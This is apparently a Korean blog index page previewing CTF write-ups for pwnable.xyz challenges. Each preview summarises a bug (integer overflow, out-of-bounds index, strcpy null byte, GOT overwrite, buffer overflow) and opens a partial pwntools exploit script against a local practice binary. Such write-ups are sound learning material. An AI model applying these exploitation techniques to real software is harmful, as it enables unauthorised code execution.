pwn (96) 썸네일형 리스트형 pwnable.xyz / Game 게임 시작 ( play_game ) 게임 저장 ( save_game ) 이름 수정 ( edit_name ) 맞추면 점수가 1 증가하고 틀리면 1감소한다 새로운 게임 객체를 생성하고 기존 게임 데이터를 새로운 게임에 저장한다 strlen으로 길이를 구해서 이름을 수정한다 name과 score를 채워주면 edit_name에서 play_game까지 덮어 쓸 수 있다 score를 채우는 방법은 일부러 틀려서 점수를 0xffff로 채워주고 save_game으로 qword로 형변환 score를 채울 수 있다 from pwn import * p = process("./Game") #gdb.attach(p) def play_game(): p.recvuntil(b"> ") p.sendline(b"1") p.recvunt.. pwnable.xyz / l33t-ness 1 ~ 3 round를 통과하면 win함수를 호출해 flag를 출력해준다 x, y를 입력 받는데 - 를 입력해서 음수를 쓸 수 없다 integer overflow해서 1337 맞춰주면 된다 x, y를 곱한 값이 1337을 맞춰주면된다 1번과 동일하다 5개 수를 입력 받아서 더한 값과 곱한 값이 동일하면된다 조건은 이전 값보다 작으면 안된다 다 0으로 주면 된다 from pwn import * p = process("./l33t-ness") def round_1(x, y): p.recvuntil(b"x: ") p.sendline(str(x)) p.recvuntil(b"y: ") p.sendline(str(y)) def round_2(x, y): p.recvuntil(b"===\n") p.sendline(s.. pwnable.xyz / Jmp table 힙 할당 힙 해제 쓰기 읽기 exit 각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다 할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다 size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다 from pwn import * p = process("./jmp_table") def do_malloc(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"Size: ") p.sendline(str(length)) do_malloc(0x400A31) p.recvuntil(b"> ") p.sendline(b"-2") p.interactive() pwnable.xyz / TLSv00 입력한 크기만큼 key를 생성 ( generate_key 호출 ) flag를 key로 xor ( load_flag 호출 ) print flag 호출 최대 64자리까지 난수를 생성해서 key에 저장한다 이때 strcpy로 key에 복사하기 때문에 널바이트가 do_comment의 첫 바이트를 덮어 real_print_flag를 호출해서 xor된 flag를 릭할 수 있다 strcpy로 key에 널 바이트가 저장되는 걸 이용해서 1byte씩 뽑아냈다 from pwn import * #context.log_level = "debug" def regen_key(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"key len: ") p.sendline(str(l.. pwnable.xyz / free spirit 제목만 보고서는 house of spirit인줄 알았다...ㅎㅎ 스택 영역에 저장된 힙에 0x20만큼 데이터를 받음 힙 주소가 저장된 스택 주소를 출력한다 힙 주소를 저장하고 있는 스택 - 8 주소에 힙영역에 쓴 데이터를 저장 스택 주소를 릭 가능하고 3번을 통해 힙 주소가 저장된 스택 영역을 덮으면 aaw가 발생한다 릭한 주소로 ret주소 계산해서 win함수 출력한다 exploit 코드는 아래 더보기 더보기 from pwn import * p = process("./free_spirit") #gdb.attach(p) win = 0x400a3e def write(data): p.recvuntilb("> ") p.sendline(b"1") sleep(0.1) p.send(data) def aaw(): p... pwnable.xyz / two_target 값을 역연산하던가 아님 aaw로 풀 수 있는것 같다 당연히 aaw로 풀었다 ( 역연산은 어려워.... ) 인적사항을 쓰고 변경할 수 있다 ( 각기능은 아래와 같음 ) 이름을 입력 (auth에서 비교할 key 값) 나이를 입력 ( aaw할 주소 씀 ) 국적을 변경 ( 주소에 쓸 값 ) get shell ( auth함수로 검증하고 참이면 win함수로 flag를 출력한다 ) partial RELRO가 걸려있어서 got overwrite이 가능하다 aaw로 strncmp함수 got를 win함수의 got로 overwrite한 뒤 4번으로 auth함수에 있는 strncmp함수를 호출해서 flag가 출력되도록 했다 from pwn import * p = process("./two_target") def ch_nat(.. pwnable.xyz / xor oob가 터진다 oob가 가능하더라도 FULL RELRO가 걸려있어서 뭘 할 수가 없다 바이너리 보니까 mprotect가 왜 있나 싶었는데 .text영역에 rwx를 다준다 oob로 exit쪽 코드를 jmp win으로 수정해줬다 from pwn import * #p = remote("svc.pwnable.xyz", 30029) p = process("./xor") jump = -262887 def aaw(idx, data): p.recvuntil(" ") p.send(str(data ^ 1)) p.send(b" 1 ") p.sendline(str(idx)) aaw(jump, 0x458b48ffffff58e9) aaw(0, 0) p.interactive() pwnable.xyz / note note를 수정하고 desc 수정 exit 원하는 만큼 길이만큼 데이터를 쓸 수 있다 buf에 저장된 주소에 데이터를 쓸 수 있다 edit_note에서 bof가 터져서 buf를 덮을 수 있다 edit_note로 buf를 원하는 함수의 got로 덮은 뒤 edit_desc로 got overwrite해서 win함수가 호출되도록해줬다 ( 서버가 닫혀있다.... ) h4pum@ubuntu:~/wargame/pwnable_xyz/note_file$ cat exploit.py from pwn import * #p = remote("svc.pwnable.xyz", 30016) p = process("./note") win = 0x40093C def edit_note(length, data): p.recvuntil(b".. 이전 1 ··· 5 6 7 8 9 10 11 12 다음